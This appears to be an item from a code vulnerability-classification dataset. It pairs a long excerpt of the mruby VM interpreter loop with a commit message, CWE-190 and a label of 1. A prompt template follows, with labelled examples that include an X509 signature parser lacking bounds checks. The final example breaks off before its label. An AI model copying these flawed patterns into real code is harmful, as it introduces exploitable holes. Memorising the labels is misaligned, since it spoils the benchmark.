#define ecall_adjust() do {\
ptrdiff_t cioff = ci - mrb->c->cibase;\
ecall(mrb);\
ci = mrb->c->cibase + cioff;\
} while (0)
ci = mrb->c->ci;
if (ci->mid) {
mrb_value blk;
if (ci->argc < 0) {
blk = regs[2];
}
else {
blk = regs[ci->argc+1];
}
if (mrb_type(blk) == MRB_TT_PROC) {
struct RProc *p = mrb_proc_ptr(blk);
if (!MRB_PROC_STRICT_P(p) &&
ci > mrb->c->cibase && MRB_PROC_ENV(p) == ci[-1].env) {
p->flags |= MRB_PROC_ORPHAN;
}
}
}
if (mrb->exc) {
mrb_callinfo *ci0;
L_RAISE:
ci0 = ci = mrb->c->ci;
if (ci == mrb->c->cibase) {
if (ci->ridx == 0) goto L_FTOP;
goto L_RESCUE;
}
while (ci[0].ridx == ci[-1].ridx) {
cipop(mrb);
mrb->c->stack = ci->stackent;
if (ci->acc == CI_ACC_SKIP && prev_jmp) {
mrb->jmp = prev_jmp;
MRB_THROW(prev_jmp);
}
ci = mrb->c->ci;
if (ci == mrb->c->cibase) {
if (ci->ridx == 0) {
L_FTOP: /* fiber top */
if (mrb->c == mrb->root_c) {
mrb->c->stack = mrb->c->stbase;
goto L_STOP;
}
else {
struct mrb_context *c = mrb->c;
while (c->eidx > ci->epos) {
ecall_adjust();
}
if (c->fib) {
mrb_write_barrier(mrb, (struct RBasic*)c->fib);
}
mrb->c->status = MRB_FIBER_TERMINATED;
mrb->c = c->prev;
c->prev = NULL;
goto L_RAISE;
}
}
break;
}
/* call ensure only when we skip this callinfo */
if (ci[0].ridx == ci[-1].ridx) {
while (mrb->c->eidx > ci->epos) {
ecall_adjust();
}
}
}
L_RESCUE:
if (ci->ridx == 0) goto L_STOP;
proc = ci->proc;
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
if (ci < ci0) {
mrb->c->stack = ci[1].stackent;
}
stack_extend(mrb, irep->nregs);
pc = mrb->c->rescue[--ci->ridx];
}
else {
int acc;
mrb_value v;
struct RProc *dst;
ci = mrb->c->ci;
v = regs[GETARG_A(i)];
mrb_gc_protect(mrb, v);
switch (GETARG_B(i)) {
case OP_R_RETURN:
/* Fall through to OP_R_NORMAL otherwise */
if (ci->acc >=0 && MRB_PROC_ENV_P(proc) && !MRB_PROC_STRICT_P(proc)) {
mrb_callinfo *cibase = mrb->c->cibase;
dst = top_proc(mrb, proc);
if (MRB_PROC_ENV_P(dst)) {
struct REnv *e = MRB_PROC_ENV(dst);
if (!MRB_ENV_STACK_SHARED_P(e) || e->cxt != mrb->c) {
localjump_error(mrb, LOCALJUMP_ERROR_RETURN);
goto L_RAISE;
}
}
while (cibase <= ci && ci->proc != dst) {
if (ci->acc < 0) {
localjump_error(mrb, LOCALJUMP_ERROR_RETURN);
goto L_RAISE;
}
ci--;
}
if (ci <= cibase) {
localjump_error(mrb, LOCALJUMP_ERROR_RETURN);
goto L_RAISE;
}
break;
}
case OP_R_NORMAL:
NORMAL_RETURN:
if (ci == mrb->c->cibase) {
struct mrb_context *c;
if (!mrb->c->prev) { /* toplevel return */
localjump_error(mrb, LOCALJUMP_ERROR_RETURN);
goto L_RAISE;
}
if (mrb->c->prev->ci == mrb->c->prev->cibase) {
mrb_value exc = mrb_exc_new_str_lit(mrb, E_FIBER_ERROR, "double resume");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
while (mrb->c->eidx > 0) {
ecall(mrb);
}
/* automatic yield at the end */
c = mrb->c;
c->status = MRB_FIBER_TERMINATED;
mrb->c = c->prev;
c->prev = NULL;
mrb->c->status = MRB_FIBER_RUNNING;
ci = mrb->c->ci;
}
break;
case OP_R_BREAK:
if (MRB_PROC_STRICT_P(proc)) goto NORMAL_RETURN;
if (MRB_PROC_ORPHAN_P(proc)) {
mrb_value exc;
L_BREAK_ERROR:
exc = mrb_exc_new_str_lit(mrb, E_LOCALJUMP_ERROR,
"break from proc-closure");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
if (!MRB_PROC_ENV_P(proc) || !MRB_ENV_STACK_SHARED_P(MRB_PROC_ENV(proc))) {
goto L_BREAK_ERROR;
}
else {
struct REnv *e = MRB_PROC_ENV(proc);
if (e == mrb->c->cibase->env && proc != mrb->c->cibase->proc) {
goto L_BREAK_ERROR;
}
if (e->cxt != mrb->c) {
goto L_BREAK_ERROR;
}
}
while (mrb->c->eidx > mrb->c->ci->epos) {
ecall_adjust();
}
/* break from fiber block */
if (ci == mrb->c->cibase && ci->pc) {
struct mrb_context *c = mrb->c;
mrb->c = c->prev;
c->prev = NULL;
ci = mrb->c->ci;
}
if (ci->acc < 0) {
mrb_gc_arena_restore(mrb, ai);
mrb->c->vmexec = FALSE;
mrb->exc = (struct RObject*)break_new(mrb, proc, v);
mrb->jmp = prev_jmp;
MRB_THROW(prev_jmp);
}
if (FALSE) {
L_BREAK:
v = ((struct RBreak*)mrb->exc)->val;
proc = ((struct RBreak*)mrb->exc)->proc;
mrb->exc = NULL;
ci = mrb->c->ci;
}
mrb->c->stack = ci->stackent;
proc = proc->upper;
while (mrb->c->cibase < ci && ci[-1].proc != proc) {
if (ci[-1].acc == CI_ACC_SKIP) {
while (ci < mrb->c->ci) {
cipop(mrb);
}
goto L_BREAK_ERROR;
}
ci--;
}
if (ci == mrb->c->cibase) {
goto L_BREAK_ERROR;
}
break;
default:
/* cannot happen */
break;
}
while (ci < mrb->c->ci) {
cipop(mrb);
}
ci[0].ridx = ci[-1].ridx;
while (mrb->c->eidx > ci->epos) {
ecall_adjust();
}
if (mrb->c->vmexec && !ci->target_class) {
mrb_gc_arena_restore(mrb, ai);
mrb->c->vmexec = FALSE;
mrb->jmp = prev_jmp;
return v;
}
acc = ci->acc;
mrb->c->stack = ci->stackent;
cipop(mrb);
if (acc == CI_ACC_SKIP || acc == CI_ACC_DIRECT) {
mrb_gc_arena_restore(mrb, ai);
mrb->jmp = prev_jmp;
return v;
}
pc = ci->pc;
ci = mrb->c->ci;
DEBUG(fprintf(stderr, "from :%s\n", mrb_sym2name(mrb, ci->mid)));
proc = mrb->c->ci->proc;
irep = proc->body.irep;
pool = irep->pool;
syms = irep->syms;
regs[acc] = v;
mrb_gc_arena_restore(mrb, ai);
}
JUMP;
}
CASE(OP_TAILCALL) {
/* A B C return call(R(A),Syms(B),R(A+1),... ,R(A+C+1)) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int n = GETARG_C(i);
mrb_method_t m;
struct RClass *c;
mrb_callinfo *ci;
mrb_value recv;
mrb_sym mid = syms[b];
recv = regs[a];
c = mrb_class(mrb, recv);
m = mrb_method_search_vm(mrb, &c, mid);
if (MRB_METHOD_UNDEF_P(m)) {
mrb_value sym = mrb_symbol_value(mid);
mrb_sym missing = mrb_intern_lit(mrb, "method_missing");
m = mrb_method_search_vm(mrb, &c, missing);
if (MRB_METHOD_UNDEF_P(m)) {
mrb_value args;
if (n == CALL_MAXARGS) {
args = regs[a+1];
}
else {
args = mrb_ary_new_from_values(mrb, n, regs+a+1);
}
ERR_PC_SET(mrb, pc);
mrb_method_missing(mrb, mid, recv, args);
}
mid = missing;
if (n == CALL_MAXARGS) {
mrb_ary_unshift(mrb, regs[a+1], sym);
}
else {
value_move(regs+a+2, regs+a+1, ++n);
regs[a+1] = sym;
}
}
/* replace callinfo */
ci = mrb->c->ci;
ci->mid = mid;
ci->target_class = c;
if (n == CALL_MAXARGS) {
ci->argc = -1;
}
else {
ci->argc = n;
}
/* move stack */
value_move(mrb->c->stack, ®s[a], ci->argc+1);
if (MRB_METHOD_CFUNC_P(m)) {
mrb_value v = MRB_METHOD_CFUNC(m)(mrb, recv);
mrb->c->stack[0] = v;
mrb_gc_arena_restore(mrb, ai);
goto L_RETURN;
}
else {
/* setup environment for calling method */
struct RProc *p = MRB_METHOD_PROC(m);
irep = p->body.irep;
pool = irep->pool;
syms = irep->syms;
if (ci->argc < 0) {
stack_extend(mrb, (irep->nregs < 3) ? 3 : irep->nregs);
}
else {
stack_extend(mrb, irep->nregs);
}
pc = irep->iseq;
}
JUMP;
}
CASE(OP_BLKPUSH) {
/* A Bx R(A) := block (16=6:1:5:4) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
int m1 = (bx>>10)&0x3f;
int r = (bx>>9)&0x1;
int m2 = (bx>>4)&0x1f;
int lv = (bx>>0)&0xf;
mrb_value *stack;
if (lv == 0) stack = regs + 1;
else {
struct REnv *e = uvenv(mrb, lv-1);
if (!e || (!MRB_ENV_STACK_SHARED_P(e) && e->mid == 0) ||
MRB_ENV_STACK_LEN(e) <= m1+r+m2+1) {
localjump_error(mrb, LOCALJUMP_ERROR_YIELD);
goto L_RAISE;
}
stack = e->stack + 1;
}
if (mrb_nil_p(stack[m1+r+m2])) {
localjump_error(mrb, LOCALJUMP_ERROR_YIELD);
goto L_RAISE;
}
regs[a] = stack[m1+r+m2];
NEXT;
}
#define TYPES2(a,b) ((((uint16_t)(a))<<8)|(((uint16_t)(b))&0xff))
#define OP_MATH_BODY(op,v1,v2) do {\
v1(regs[a]) = v1(regs[a]) op v2(regs[a+1]);\
} while(0)
CASE(OP_ADD) {
/* A B C R(A) := R(A)+R(A+1) (Syms[B]=:+,C=1)*/
int a = GETARG_A(i);
/* need to check if op is overridden */
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):
{
mrb_int x, y, z;
mrb_value *regs_a = regs + a;
x = mrb_fixnum(regs_a[0]);
y = mrb_fixnum(regs_a[1]);
if (mrb_int_add_overflow(x, y, &z)) {
#ifndef MRB_WITHOUT_FLOAT
SET_FLOAT_VALUE(mrb, regs_a[0], (mrb_float)x + (mrb_float)y);
break;
#endif
}
SET_INT_VALUE(regs[a], z);
}
break;
#ifndef MRB_WITHOUT_FLOAT
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FLOAT):
{
mrb_int x = mrb_fixnum(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x + y);
}
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FIXNUM):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_int y = mrb_fixnum(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x + y);
}
#else
OP_MATH_BODY(+,mrb_float,mrb_fixnum);
#endif
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x + y);
}
#else
OP_MATH_BODY(+,mrb_float,mrb_float);
#endif
break;
#endif
case TYPES2(MRB_TT_STRING,MRB_TT_STRING):
regs[a] = mrb_str_plus(mrb, regs[a], regs[a+1]);
break;
default:
goto L_SEND;
}
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_SUB) {
/* A B C R(A) := R(A)-R(A+1) (Syms[B]=:-,C=1)*/
int a = GETARG_A(i);
/* need to check if op is overridden */
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):
{
mrb_int x, y, z;
x = mrb_fixnum(regs[a]);
y = mrb_fixnum(regs[a+1]);
if (mrb_int_sub_overflow(x, y, &z)) {
#ifndef MRB_WITHOUT_FLOAT
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x - (mrb_float)y);
break;
#endif
}
SET_INT_VALUE(regs[a], z);
}
break;
#ifndef MRB_WITHOUT_FLOAT
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FLOAT):
{
mrb_int x = mrb_fixnum(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x - y);
}
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FIXNUM):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_int y = mrb_fixnum(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x - y);
}
#else
OP_MATH_BODY(-,mrb_float,mrb_fixnum);
#endif
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x - y);
}
#else
OP_MATH_BODY(-,mrb_float,mrb_float);
#endif
break;
#endif
default:
goto L_SEND;
}
NEXT;
}
CASE(OP_MUL) {
/* A B C R(A) := R(A)*R(A+1) (Syms[B]=:*,C=1)*/
int a = GETARG_A(i);
/* need to check if op is overridden */
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):
{
mrb_int x, y, z;
x = mrb_fixnum(regs[a]);
y = mrb_fixnum(regs[a+1]);
if (mrb_int_mul_overflow(x, y, &z)) {
#ifndef MRB_WITHOUT_FLOAT
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x * (mrb_float)y);
break;
#endif
}
SET_INT_VALUE(regs[a], z);
}
break;
#ifndef MRB_WITHOUT_FLOAT
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FLOAT):
{
mrb_int x = mrb_fixnum(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x * y);
}
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FIXNUM):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_int y = mrb_fixnum(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x * y);
}
#else
OP_MATH_BODY(*,mrb_float,mrb_fixnum);
#endif
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
mrb_float y = mrb_float(regs[a+1]);
SET_FLOAT_VALUE(mrb, regs[a], x * y);
}
#else
OP_MATH_BODY(*,mrb_float,mrb_float);
#endif
break;
#endif
default:
goto L_SEND;
}
NEXT;
}
CASE(OP_DIV) {
/* A B C R(A) := R(A)/R(A+1) (Syms[B]=:/,C=1)*/
int a = GETARG_A(i);
#ifndef MRB_WITHOUT_FLOAT
double x, y, f;
#endif
/* need to check if op is overridden */
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):
#ifdef MRB_WITHOUT_FLOAT
{
mrb_int x = mrb_fixnum(regs[a]);
mrb_int y = mrb_fixnum(regs[a+1]);
SET_INT_VALUE(regs[a], y ? x / y : 0);
}
break;
#else
x = (mrb_float)mrb_fixnum(regs[a]);
y = (mrb_float)mrb_fixnum(regs[a+1]);
break;
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FLOAT):
x = (mrb_float)mrb_fixnum(regs[a]);
y = mrb_float(regs[a+1]);
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FIXNUM):
x = mrb_float(regs[a]);
y = (mrb_float)mrb_fixnum(regs[a+1]);
break;
case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):
x = mrb_float(regs[a]);
y = mrb_float(regs[a+1]);
break;
#endif
default:
goto L_SEND;
}
#ifndef MRB_WITHOUT_FLOAT
if (y == 0) {
if (x > 0) f = INFINITY;
else if (x < 0) f = -INFINITY;
else /* if (x == 0) */ f = NAN;
}
else {
f = x / y;
}
SET_FLOAT_VALUE(mrb, regs[a], f);
#endif
NEXT;
}
CASE(OP_ADDI) {
/* A B C R(A) := R(A)+C (Syms[B]=:+)*/
int a = GETARG_A(i);
/* need to check if + is overridden */
switch (mrb_type(regs[a])) {
case MRB_TT_FIXNUM:
{
mrb_int x = mrb_fixnum(regs[a]);
mrb_int y = GETARG_C(i);
mrb_int z;
if (mrb_int_add_overflow(x, y, &z)) {
#ifndef MRB_WITHOUT_FLOAT
SET_FLOAT_VALUE(mrb, regs[a], (mrb_float)x + (mrb_float)y);
break;
#endif
}
SET_INT_VALUE(regs[a], z);
}
break;
#ifndef MRB_WITHOUT_FLOAT
case MRB_TT_FLOAT:
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
SET_FLOAT_VALUE(mrb, regs[a], x + GETARG_C(i));
}
#else
mrb_float(regs[a]) += GETARG_C(i);
#endif
break;
#endif
default:
SET_INT_VALUE(regs[a+1], GETARG_C(i));
i = MKOP_ABC(OP_SEND, a, GETARG_B(i), 1);
goto L_SEND;
}
NEXT;
}
CASE(OP_SUBI) {
/* A B C R(A) := R(A)-C (Syms[B]=:-)*/
int a = GETARG_A(i);
mrb_value *regs_a = regs + a;
/* need to check if + is overridden */
switch (mrb_type(regs_a[0])) {
case MRB_TT_FIXNUM:
{
mrb_int x = mrb_fixnum(regs_a[0]);
mrb_int y = GETARG_C(i);
mrb_int z;
if (mrb_int_sub_overflow(x, y, &z)) {
#ifndef MRB_WITHOUT_FLOAT
SET_FLOAT_VALUE(mrb, regs_a[0], (mrb_float)x - (mrb_float)y);
break;
#endif
}
SET_INT_VALUE(regs_a[0], z);
}
break;
#ifndef MRB_WITHOUT_FLOAT
case MRB_TT_FLOAT:
#ifdef MRB_WORD_BOXING
{
mrb_float x = mrb_float(regs[a]);
SET_FLOAT_VALUE(mrb, regs[a], x - GETARG_C(i));
}
#else
mrb_float(regs_a[0]) -= GETARG_C(i);
#endif
break;
#endif
default:
SET_INT_VALUE(regs_a[1], GETARG_C(i));
i = MKOP_ABC(OP_SEND, a, GETARG_B(i), 1);
goto L_SEND;
}
NEXT;
}
#define OP_CMP_BODY(op,v1,v2) (v1(regs[a]) op v2(regs[a+1]))
#ifdef MRB_WITHOUT_FLOAT
#define OP_CMP(op) do {\
int result;\
/* need to check if - is overridden */\
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {\
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):\
result = OP_CMP_BODY(op,mrb_fixnum,mrb_fixnum);\
break;\
default:\
goto L_SEND;\
}\
if (result) {\
SET_TRUE_VALUE(regs[a]);\
}\
else {\
SET_FALSE_VALUE(regs[a]);\
}\
} while(0)
#else
#define OP_CMP(op) do {\
int result;\
/* need to check if - is overridden */\
switch (TYPES2(mrb_type(regs[a]),mrb_type(regs[a+1]))) {\
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FIXNUM):\
result = OP_CMP_BODY(op,mrb_fixnum,mrb_fixnum);\
break;\
case TYPES2(MRB_TT_FIXNUM,MRB_TT_FLOAT):\
result = OP_CMP_BODY(op,mrb_fixnum,mrb_float);\
break;\
case TYPES2(MRB_TT_FLOAT,MRB_TT_FIXNUM):\
result = OP_CMP_BODY(op,mrb_float,mrb_fixnum);\
break;\
case TYPES2(MRB_TT_FLOAT,MRB_TT_FLOAT):\
result = OP_CMP_BODY(op,mrb_float,mrb_float);\
break;\
default:\
goto L_SEND;\
}\
if (result) {\
SET_TRUE_VALUE(regs[a]);\
}\
else {\
SET_FALSE_VALUE(regs[a]);\
}\
} while(0)
#endif
CASE(OP_EQ) {
/* A B C R(A) := R(A)==R(A+1) (Syms[B]=:==,C=1)*/
int a = GETARG_A(i);
if (mrb_obj_eq(mrb, regs[a], regs[a+1])) {
SET_TRUE_VALUE(regs[a]);
}
else {
OP_CMP(==);
}
NEXT;
}
CASE(OP_LT) {
/* A B C R(A) := R(A)<R(A+1) (Syms[B]=:<,C=1)*/
int a = GETARG_A(i);
OP_CMP(<);
NEXT;
}
CASE(OP_LE) {
/* A B C R(A) := R(A)<=R(A+1) (Syms[B]=:<=,C=1)*/
int a = GETARG_A(i);
OP_CMP(<=);
NEXT;
}
CASE(OP_GT) {
/* A B C R(A) := R(A)>R(A+1) (Syms[B]=:>,C=1)*/
int a = GETARG_A(i);
OP_CMP(>);
NEXT;
}
CASE(OP_GE) {
/* A B C R(A) := R(A)>=R(A+1) (Syms[B]=:>=,C=1)*/
int a = GETARG_A(i);
OP_CMP(>=);
NEXT;
}
CASE(OP_ARRAY) {
/* A B C R(A) := ary_new(R(B),R(B+1)..R(B+C)) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
mrb_value v = mrb_ary_new_from_values(mrb, c, ®s[b]);
regs[a] = v;
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_ARYCAT) {
/* A B mrb_ary_concat(R(A),R(B)) */
int a = GETARG_A(i);
int b = GETARG_B(i);
mrb_value splat = mrb_ary_splat(mrb, regs[b]);
mrb_ary_concat(mrb, regs[a], splat);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_ARYPUSH) {
/* A B R(A).push(R(B)) */
int a = GETARG_A(i);
int b = GETARG_B(i);
mrb_ary_push(mrb, regs[a], regs[b]);
NEXT;
}
CASE(OP_AREF) {
/* A B C R(A) := R(B)[C] */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
mrb_value v = regs[b];
if (!mrb_array_p(v)) {
if (c == 0) {
regs[a] = v;
}
else {
SET_NIL_VALUE(regs[a]);
}
}
else {
v = mrb_ary_ref(mrb, v, c);
regs[a] = v;
}
NEXT;
}
CASE(OP_ASET) {
/* A B C R(B)[C] := R(A) */
int a = GETARG_A(i);
int b = GETARG_B(i);
int c = GETARG_C(i);
mrb_ary_set(mrb, regs[b], c, regs[a]);
NEXT;
}
CASE(OP_APOST) {
/* A B C *R(A),R(A+1)..R(A+C) := R(A) */
int a = GETARG_A(i);
mrb_value v = regs[a];
int pre = GETARG_B(i);
int post = GETARG_C(i);
struct RArray *ary;
int len, idx;
if (!mrb_array_p(v)) {
v = mrb_ary_new_from_values(mrb, 1, ®s[a]);
}
ary = mrb_ary_ptr(v);
len = (int)ARY_LEN(ary);
if (len > pre + post) {
v = mrb_ary_new_from_values(mrb, len - pre - post, ARY_PTR(ary)+pre);
regs[a++] = v;
while (post--) {
regs[a++] = ARY_PTR(ary)[len-post-1];
}
}
else {
v = mrb_ary_new_capa(mrb, 0);
regs[a++] = v;
for (idx=0; idx+pre<len; idx++) {
regs[a+idx] = ARY_PTR(ary)[pre+idx];
}
while (idx < post) {
SET_NIL_VALUE(regs[a+idx]);
idx++;
}
}
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_STRING) {
/* A Bx R(A) := str_new(Lit(Bx)) */
mrb_int a = GETARG_A(i);
mrb_int bx = GETARG_Bx(i);
mrb_value str = mrb_str_dup(mrb, pool[bx]);
regs[a] = str;
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_STRCAT) {
/* A B R(A).concat(R(B)) */
mrb_int a = GETARG_A(i);
mrb_int b = GETARG_B(i);
mrb_str_concat(mrb, regs[a], regs[b]);
NEXT;
}
CASE(OP_HASH) {
/* A B C R(A) := hash_new(R(B),R(B+1)..R(B+C)) */
int b = GETARG_B(i);
int c = GETARG_C(i);
int lim = b+c*2;
mrb_value hash = mrb_hash_new_capa(mrb, c);
while (b < lim) {
mrb_hash_set(mrb, hash, regs[b], regs[b+1]);
b+=2;
}
regs[GETARG_A(i)] = hash;
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_LAMBDA) {
/* A b c R(A) := lambda(SEQ[b],c) (b:c = 14:2) */
struct RProc *p;
int a = GETARG_A(i);
int b = GETARG_b(i);
int c = GETARG_c(i);
mrb_irep *nirep = irep->reps[b];
if (c & OP_L_CAPTURE) {
p = mrb_closure_new(mrb, nirep);
}
else {
p = mrb_proc_new(mrb, nirep);
p->flags |= MRB_PROC_SCOPE;
}
if (c & OP_L_STRICT) p->flags |= MRB_PROC_STRICT;
regs[a] = mrb_obj_value(p);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_OCLASS) {
/* A R(A) := ::Object */
regs[GETARG_A(i)] = mrb_obj_value(mrb->object_class);
NEXT;
}
CASE(OP_CLASS) {
/* A B R(A) := newclass(R(A),Syms(B),R(A+1)) */
struct RClass *c = 0, *baseclass;
int a = GETARG_A(i);
mrb_value base, super;
mrb_sym id = syms[GETARG_B(i)];
base = regs[a];
super = regs[a+1];
if (mrb_nil_p(base)) {
baseclass = MRB_PROC_TARGET_CLASS(mrb->c->ci->proc);
base = mrb_obj_value(baseclass);
}
c = mrb_vm_define_class(mrb, base, super, id);
regs[a] = mrb_obj_value(c);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_MODULE) {
/* A B R(A) := newmodule(R(A),Syms(B)) */
struct RClass *c = 0, *baseclass;
int a = GETARG_A(i);
mrb_value base;
mrb_sym id = syms[GETARG_B(i)];
base = regs[a];
if (mrb_nil_p(base)) {
baseclass = MRB_PROC_TARGET_CLASS(mrb->c->ci->proc);
base = mrb_obj_value(baseclass);
}
c = mrb_vm_define_module(mrb, base, id);
regs[a] = mrb_obj_value(c);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_EXEC) {
/* A Bx R(A) := blockexec(R(A),SEQ[Bx]) */
int a = GETARG_A(i);
int bx = GETARG_Bx(i);
mrb_callinfo *ci;
mrb_value recv = regs[a];
struct RProc *p;
mrb_irep *nirep = irep->reps[bx];
/* prepare closure */
p = mrb_proc_new(mrb, nirep);
p->c = NULL;
mrb_field_write_barrier(mrb, (struct RBasic*)p, (struct RBasic*)proc);
MRB_PROC_SET_TARGET_CLASS(p, mrb_class_ptr(recv));
p->flags |= MRB_PROC_SCOPE;
/* prepare call stack */
ci = cipush(mrb);
ci->pc = pc + 1;
ci->acc = a;
ci->mid = 0;
ci->stackent = mrb->c->stack;
ci->argc = 0;
ci->target_class = mrb_class_ptr(recv);
/* prepare stack */
mrb->c->stack += a;
/* setup block to call */
ci->proc = p;
irep = p->body.irep;
pool = irep->pool;
syms = irep->syms;
ci->nregs = irep->nregs;
stack_extend(mrb, ci->nregs);
stack_clear(regs+1, ci->nregs-1);
pc = irep->iseq;
JUMP;
}
CASE(OP_METHOD) {
/* A B R(A).newmethod(Syms(B),R(A+1)) */
int a = GETARG_A(i);
struct RClass *c = mrb_class_ptr(regs[a]);
struct RProc *p = mrb_proc_ptr(regs[a+1]);
mrb_method_t m;
MRB_METHOD_FROM_PROC(m, p);
mrb_define_method_raw(mrb, c, syms[GETARG_B(i)], m);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_SCLASS) {
/* A B R(A) := R(B).singleton_class */
int a = GETARG_A(i);
int b = GETARG_B(i);
regs[a] = mrb_singleton_class(mrb, regs[b]);
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_TCLASS) {
/* A R(A) := target_class */
if (!mrb->c->ci->target_class) {
mrb_value exc = mrb_exc_new_str_lit(mrb, E_TYPE_ERROR, "no target class or module");
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
regs[GETARG_A(i)] = mrb_obj_value(mrb->c->ci->target_class);
NEXT;
}
CASE(OP_RANGE) {
/* A B C R(A) := range_new(R(B),R(B+1),C) */
int b = GETARG_B(i);
mrb_value val = mrb_range_new(mrb, regs[b], regs[b+1], GETARG_C(i));
regs[GETARG_A(i)] = val;
mrb_gc_arena_restore(mrb, ai);
NEXT;
}
CASE(OP_DEBUG) {
/* A B C debug print R(A),R(B),R(C) */
#ifdef MRB_ENABLE_DEBUG_HOOK
mrb->debug_op_hook(mrb, irep, pc, regs);
#else
#ifndef MRB_DISABLE_STDIO
printf("OP_DEBUG %d %d %d\n", GETARG_A(i), GETARG_B(i), GETARG_C(i));
#else
abort();
#endif
#endif
NEXT;
}
CASE(OP_STOP) {
/* stop VM */
L_STOP:
while (mrb->c->eidx > 0) {
ecall(mrb);
}
ERR_PC_CLR(mrb);
mrb->jmp = prev_jmp;
if (mrb->exc) {
return mrb_obj_value(mrb->exc);
}
return regs[irep->nlocals];
}
CASE(OP_ERR) {
/* Bx raise RuntimeError with message Lit(Bx) */
mrb_value msg = mrb_str_dup(mrb, pool[GETARG_Bx(i)]);
mrb_value exc;
if (GETARG_A(i) == 0) {
exc = mrb_exc_new_str(mrb, E_RUNTIME_ERROR, msg);
}
else {
exc = mrb_exc_new_str(mrb, E_LOCALJUMP_ERROR, msg);
}
ERR_PC_SET(mrb, pc);
mrb_exc_set(mrb, exc);
goto L_RAISE;
}
}
END_DISPATCH;
#undef regs
}
MRB_CATCH(&c_jmp) {
exc_catched = TRUE;
goto RETRY_TRY_BLOCK;
}
MRB_END_EXC(&c_jmp);
}
Commit Message: Check length of env stack before accessing upvar; fix #3995
CWE ID: CWE-190
Output: | 1 |
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code.
Example 1:
Code: static const uint8_t *get_signature(const uint8_t *asn1_sig, int *len)
{
int offset = 0;
const uint8_t *ptr = NULL;
if (asn1_next_obj(asn1_sig, &offset, ASN1_SEQUENCE) < 0 ||
asn1_skip_obj(asn1_sig, &offset, ASN1_SEQUENCE))
goto end_get_sig;
if (asn1_sig[offset++] != ASN1_OCTET_STRING)
goto end_get_sig;
*len = get_asn1_length(asn1_sig, &offset);
ptr = &asn1_sig[offset]; /* all ok */
end_get_sig:
return ptr;
}
Commit Message: Apply CVE fixes for X509 parsing
Apply patches developed by Sze Yiu which correct a vulnerability in
X509 parsing. See CVE-2018-16150 and CVE-2018-16149 for more info.
CWE ID: CWE-347
Target: 1
Example 2:
Code: static void activate_task(struct rq *rq, struct task_struct *p, int flags)
{
if (task_contributes_to_load(p))
rq->nr_uninterruptible--;
enqueue_task(rq, p, flags);
inc_nr_running(rq);
}
